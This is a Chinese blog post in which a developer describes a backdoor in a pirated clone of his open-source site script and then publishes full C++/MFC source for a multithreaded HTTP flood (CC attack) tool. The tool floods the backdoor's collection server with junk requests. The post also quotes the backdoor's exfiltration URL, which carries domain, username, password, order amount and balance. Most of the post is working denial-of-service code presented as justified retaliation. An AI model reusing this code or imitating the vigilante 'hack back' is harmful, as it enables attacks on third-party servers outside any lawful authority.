前一段时间我发布了自己的一套开源的网站程序,不到多久市场上竟然也出现了相同的一套程序,并且我下载来之后
?
发现,整套程序除了版权和名称以外没有任何一点点的变化,有趣的是,这套程序到处都可以下载,并且没有留下他的
?
任何名称,网站等,开始好奇为什么了,在测试过程中我发现用户提交订单时候变得比较缓慢,我调试了一下,发现一段
?
代码在里面,果然,在用户提交表单时候,php里面通过 curl 方式 httpget到了另一个地址
?
http://www.****.info/sacc.asp?dn=当前域名&pr=订单名称&un=帐户名&up=账户密码&ap=订单金额&ia=账户余额&si=后门版本
?
真可恶,我花费不少时间做的东西开源却成了别人发黑财的利器了,到时候估计被骂的还是我
?
愤怒之下,打开VC,做了一个简单的CC攻击器,1是给他数据库增加垃圾数据,2是让他后门无法正常接受数据
?
首先看看完整程序截图:
现在来看看实现过程:
?
?
//========创建一个随机字符生成函数 CString CMyDlg::Randstr() { const char CCH[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char szRandstr[sizeof(CCH)-1]=""; for (int i=0;i<=5;i++) { int x = rand() % (sizeof(CCH) - 1); szRandstr[i]=CCH[x]; } CString str=szRandstr; memset(szRandstr,0,sizeof(CCH)-1); return str; }
?
//========正常http方式访问网站 BOOL CMyDlg::OpenUrl(LPSTR lpszUrl) { char szn[55]=""; sprintf(szn,"%d",rand() % 1000); HINTERNET hSession = InternetOpen(szn, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 ); if (hSession) { HINTERNET hOpenUrl = InternetOpenUrl(hSession,lpszUrl, NULL,0,INTERNET_FLAG_RELOAD, 0 ); if (hOpenUrl) { #ifdef _DEBUG printf("发送成功\r\n"); #endif } InternetCloseHandle(hOpenUrl); InternetCloseHandle(hSession); InternetCloseHandle(hSession); } else { printf("发信失败\r\n"); } return FALSE; }?
//==========通过原始方式发送http头给远程,不接包 //==========域名转换IP void domaintoip(char *pAddr) { if (inet_addr(pAddr)== INADDR_NONE) { struct hostent *hp = NULL; if ((hp = gethostbyname(pAddr)) != NULL) { in_addr in; memcpy(&in, hp->h_addr, hp->h_length); strcpy(pAddr,inet_ntoa(in)); } } } //==============IP转换函数 DWORD resolveIP(char *hostName) { hostent *hent; char **addresslist; DWORD result = 0; hent = gethostbyname(hostName); if(hent) { addresslist = hent->h_addr_list; if (*addresslist) { result = *((DWORD *)(*addresslist)); } } return result; } //==============连接远程服务器函数 SOCKET dogConnect(char *host, int port) { //--------创建socket SOCKET sock; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == INVALID_SOCKET) return sock; sockaddr_in sin; DWORD ip = resolveIP(host); //转换IP地址 if(ip == 0) ip = inet_addr(host); sin.sin_addr.s_addr = ip; sin.sin_family = AF_INET; sin.sin_port = htons(port); //---------连接目标 connect(sock,(sockaddr *)&sin,sizeof(sin)); fd_set rd; struct timeval tv; tv.tv_sec = 0; tv.tv_usec = 50; FD_ZERO(&rd); FD_SET(sock, &rd); if(select(sock + 1, &rd, NULL, NULL, &tv) < 0) { closesocket(sock); return INVALID_SOCKET; } return sock; } //===========CC攻击线程 DWORD WINAPI CC_attack(LPVOID lpParameter) { //----------锁定,避免线程传递异常 criticalsection.Lock(); CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd; srand((unsigned)time(NULL)); //设置随机种子 WSADATA WSAData; WSAStartup(MAKEWORD(2,2) ,&WSAData); //域名转IP char szIp[128]; strcpy(szIp,dlg->m_strDomain); domaintoip(szIp); CString str=dlg->Randstr(); CString strDomain=dlg->m_strDomain; CString strParam=dlg->m_strParam; strParam.Replace("%s",str); int i=1200; Sleep(1000); //----------解锁,解放其他线程 criticalsection.Unlock(); //--------连接目标地址 SOCKET Sock=dogConnect(szIp,80); //--------如果连接失败,退出线程 if (Sock==INVALID_SOCKET) { return 0; } //--------开始循环 while (1) { if (dlg->m_bStop==TRUE) { break; } i++; CString strSend=strParam; char szNum[20]=""; sprintf(szNum,"%d",i); strSend.Replace("%d",szNum); //--------格式化要发送的http char url[1110] = ""; sprintf(url,"GET %s HTTP/1.1\r\nAccept:*/* \r\nReferer:g.cn\r\nAccept-Language:" "zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: " "Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: \"60794-12b3-e4169440\"\r\nUser-Agent:" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322;" ".NET CLR 2.0.50727)\r\nHost: %s\r\n\r\n",strSend,strDomain); send(Sock,url,strlen(url),0); closesocket(Sock); shutdown(Sock,2); Sock=dogConnect(szIp,80);//连接目标地址 // linger lig; // lig.l_onoff=1; // lig.l_linger=0; // int ilen=sizeof(linger); // setsockopt(Sock,SOL_SOCKET,SO_LINGER,(char*)&lig,ilen); } closesocket(Sock); WSACleanup(); return 0; }?
//==========internetOpenUrl方式攻击线程 DWORD WINAPI Thread1(LPVOID lpvoid) { //----------锁定,避免线程传递异常 criticalsection.Lock(); Sleep(1000); CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd; srand((unsigned)time(NULL)); //设置随机种子 CString str=dlg->Randstr(); CString strDomain=dlg->m_strDomain; CString strParam=dlg->m_strParam; strParam.Replace("%s",str); int i=1200; //----------解锁,解放其他线程 criticalsection.Unlock(); while(1) { if (dlg->m_bStop==TRUE) { break; } CString strSend; strSend.Format("http://%s/%s",strDomain,strParam); i++; char szNum[20]=""; sprintf(szNum,"%d",i); strSend.Replace("%d",szNum); char szbuf[1024]=""; sprintf(szbuf,"%s",strSend); dlg->OpenUrl(szbuf); } return 1; }
?
//=========开始按钮 void CMyDlg::OnButton1() { m_bStop=FALSE; GetDlgItemText(IDC_EDIT1,m_strDomain); GetDlgItemText(IDC_EDIT2,m_strParam); if (StrStrI(m_strDomain,"3ba.us")) { return; } BOOL bFlag; int nThreadNum=GetDlgItemInt(IDC_EDIT3,&bFlag,FALSE); if (m_combox_type.GetCurSel()==0) { for (int i=0;i<nThreadNum;i++) { CreateThread(NULL,NULL,Thread1,NULL,NULL,NULL); Sleep(10); } } if (m_combox_type.GetCurSel()==1) { for (int i=0;i<nThreadNum;i++) { CreateThread(NULL,NULL,CC_attack,NULL,NULL,NULL); Sleep(10); } } SetDlgItemText(IDC_BUTTON1,"攻击中"); GetDlgItem(IDC_BUTTON1)->EnableWindow(FALSE); }
?
在填写参数时候,比如
/sacc.asp?dn=%s&pr=%d&un=%s&up=%s&ap=%s&ia=%s&si=%d
?
其中的 %s 将会被替换成随机字符 %d将会被替换为随机数字
?
自从MFC转到QT以后以为不会再用 vc做东西了,毕竟以前积累过很多代码和开发经验,在有些时候看来VC还是不错的选择
?
完整工程代码下载
?
?